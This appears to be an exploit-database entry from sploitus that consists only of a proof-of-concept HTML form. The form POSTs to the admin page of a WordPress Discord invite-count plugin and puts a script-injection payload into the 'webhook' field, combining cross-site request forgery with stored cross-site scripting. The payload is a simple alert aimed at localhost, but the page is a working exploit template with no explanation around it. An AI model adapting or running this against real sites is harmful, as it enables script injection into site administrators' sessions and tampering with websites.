Share 
## https://sploitus.com/exploit?id=WPEX-ID:D29BCC1C-241B-4867-A0C8-4AE5F9D1C8E8
<html>
 <body>
  <form method="POST" action="http://127.0.0.1/wp-admin/admin.php?page=wp-discord-invite-count">
   <input type="hidden" name="wp-discord-invite-oauth" value="1"/>
   <input type="hidden" name="webhook" value='"><script>alert(1);</script>'/>
   <input type="submit" value="Submit">
  </form>
 </body>
<html>